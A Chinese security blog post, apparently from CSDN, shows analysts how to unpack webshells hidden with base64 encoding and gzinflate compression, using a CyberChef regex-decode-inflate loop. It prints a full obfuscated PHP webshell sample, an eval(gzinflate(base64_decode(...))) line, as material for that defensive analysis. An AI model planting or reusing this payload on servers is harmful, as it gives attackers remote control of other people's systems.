Webshell绕过技巧分析之-base64编码和压缩编码

embedded/2024/9/23 9:38:39/

在网络安全运营护网HVV重保等活动的过程中,webshell是一个无法绕过的话题。通常出现的webshell都不是以明文的形式出现,而是针对webshell关键的内容进行,混淆,编码来绕过网络安全产品,例如IDS,WAF,沙箱,邮件网关,EDR等产品的检测。本文介绍其中易总比较常见的绕过方式,即base64编码加压缩编码的方式,作为《各种数据绕过实战分析篇》中的一篇,这里。

Webshell介绍

Webshell是一种恶意软件,它通常是由攻击者利用Web应用程序的漏洞或不安全配置,在受攻击的服务器上植入的一段恶意代码。这段恶意代码可以以各种形式存在,例如一段PHP、ASP、JSP等脚本代码,或者是一段可执行的命令或脚本。

Webshell 载体

  • webshell常见的载体是php,asp,jsp等文件格式。
  • webshell的载体还可以是图片,文档,压缩文件文件,即将对应的代码嵌入到图片之中,俗称图片码。
  • webshell的载体可以是网络数据包,即通过RCE远程利用漏洞的形式将恶意代码注入到程序中。更多的关于webshell的远程利用,可以参考《安全运营之网络攻击研判分析》,这里。

对于经过编码和混淆之后的webshell,无论载体是什么,都需要提取对应的webshell内容还原对手原本的目的。

Webshell 样本

如下为一段常见的webshell样本,详见这里,如下:

<?php eval(gzinflate(base64_decode("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"))); ?>

可以看到该样本的内容经过了编码和压缩,因此无法获取内容的意图。

识别编码

常见的编码包括base64,URL,hex,char,gzip,xor,utf-8等,详见《各种编码理论篇》,这里。因此第一步需要对于常见的编码字符集有一定的了解,在遇到对应的数据之后能够猜测数据使用的编码手段。

上述webshell比较明显,先使用了base64的方式进行编码,然后使用了gzinflate的方式进行了压缩

程序解码

如果使用python等程序的方式解析上述的数据步骤如下:

  • 提取需要解码的数据内容
  • 编写Python解码数据 ,先base64,然后解压缩
  • 使用IDE显示代码内容

虽然编写程序的灵活度高,但是耗时耗力,并不是日常网络安全运营过程中重点投入的地方。

cyberchef解码

提取数据

按照上述编写程序的步骤,第一步提取需要解析的内容。由于输入的是整个webshell内容,因此需要使用正则提取对应的编码内容,如下:
在这里插入图片描述
正则的内容就是base64字符集的正则,为了略过php,eval,gzinflate等字符,需要匹配长度至少为20的字符串。

base64_34">base64解码

提取的内容为base64编码后的数据,因此需要进行base64解码,如下:
在这里插入图片描述

压缩

解码后的数据为乱码,因为解码后的数据仍是压缩的数据,因此需要解压缩,如下:
在这里插入图片描述

循环处理

经过上图解压缩的输出,可以看到结果显示的内容为又做了一遍同样的base64编码以及压缩处理,因此需要循环解码和解压缩处理,如下:
在这里插入图片描述
需要使用label模块对处理的起始位置进行标记,然后使用jump模块反复的执行,相当于程序中的循环。循环的次数并不知道,因此需要一次次增加循环次数,直至得到需要的结果。

代码美化

上图中最终的记过并不利于代码查看,因此需要针对代码进行美化,如下:
在这里插入图片描述
至此可以看到对手webshell原本的意图,该方法有助于日常网络安全运营护网HVV重保等活动的过程中的安全事件调查。

raw recipe

使用的recipe内容如下:

[{ "op": "Label","args": ["start"] },{ "op": "Regular expression","args": ["User defined", "[a-zA-Z0-9=/+]{10,}", true, true, false, false, false, false, "List matches"] },{ "op": "From Base64","args": ["A-Za-z0-9+/=", true, false] },{ "op": "Raw Inflate","args": [0, 0, "Block", false, false] },{ "op": "Jump","args": ["start", 21] },{ "op": "Generic Code Beautify","args": [] }
]

以上就是针对webshell绕过内容解析的介绍,希望对你日常工作有所帮助。

本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。


http://www.ppmy.cn/embedded/25394.html

相关文章

什么是 IoT,代表性的 IoT 产品或服务都有哪些?

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 物联网&#xff08;IoT&#xff09;是一个由互联设备组成的网络&#xff0c;包括嵌入传感器、软件等技术的机械和数字机器&#xff0c;以及消费品。这些设备能够相互连接&#xff0c;并与云交换数据。I…

edge 入门基础了解使用

随着Windows 11的发布&#xff0c;Microsoft Edge也迎来了新的更新和改进。作为一名长期使用Edge的用户&#xff0c;我不仅注意到了这些表面的变化&#xff0c;还深入研究了Edge在Windows 11上的新特性和潜在优势。 快捷方式 查找框 在Microsoft Edge浏览器中&#xff0c;按…

C语言贪吃蛇项目

今天给大家带来一款简单的贪吃蛇游戏&#xff0c;一起随我来看看吧 游戏效果&#xff1a; 实现基本的功能&#xff1a; • 贪吃蛇地图绘制 • 蛇吃⻝物的功能&#xff1a;&#xff08;上、下、左、右⽅向键控制蛇的动作&#xff09; • 蛇撞墙死亡 • 蛇撞⾃⾝死亡 • 计算得分…

Coursera: An Introduction to American Law 学习笔记 Week 04: Constitutional Law

An Introduction to American Law 本文是 https://www.coursera.org/programs/career-training-for-nevadans-k7yhc/learn/american-law 这门课的学习笔记。 文章目录 An Introduction to American LawInstructors Week 04: Constitutional LawKey Constitutional Law TermsSup…

misc学习

一.知识点 1.BMP文件 BMP文件主要有四部分组成&#xff0c;位图头、位图信息、调色板、位图数据。 bmp文件头(bmp file header)&#xff1a;提供文件的格式、大小等信息 位图信息头(bitmap information)&#xff1a;提供图像数据的尺寸、位平面数、压缩方式、颜色索引等信息…

SpringBoot笔记1

继承父工程 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.10</version></parent>java 无效的源发行版 17 解决方法 <build><plugins>…

MySQL数据库进阶篇一(存储引擎、索引)

目录 一、存储引擎1.1、MySQL体系结构&#xff1a;连接层&#xff0c;Server层&#xff0c;引擎层&#xff0c;存储层1.2、存储引擎1.2.1、存储引擎&#xff1a;InnoDB(MySQL 5.5后默认的存储引擎)1.2.2、存储引擎&#xff1a;MyISAM (MySQL早期默认存储引擎)1.2.3、存储引擎&a…

安卓手机APP开发_媒体开发部分__保持设备处于唤醒状态

安卓手机APP开发_媒体开发部分__保持设备处于唤醒状态 目录 概述 使用唤醒锁的用法 保持屏幕在亮着 电视的环境模式 保持CPU处于运行状态 概述 为了避免多消耗电池电量,安卓设备会很快进入休眠状态.然而,也是需要保持它一直 处于唤醒的状态,来完成某些工作. 你使用的方…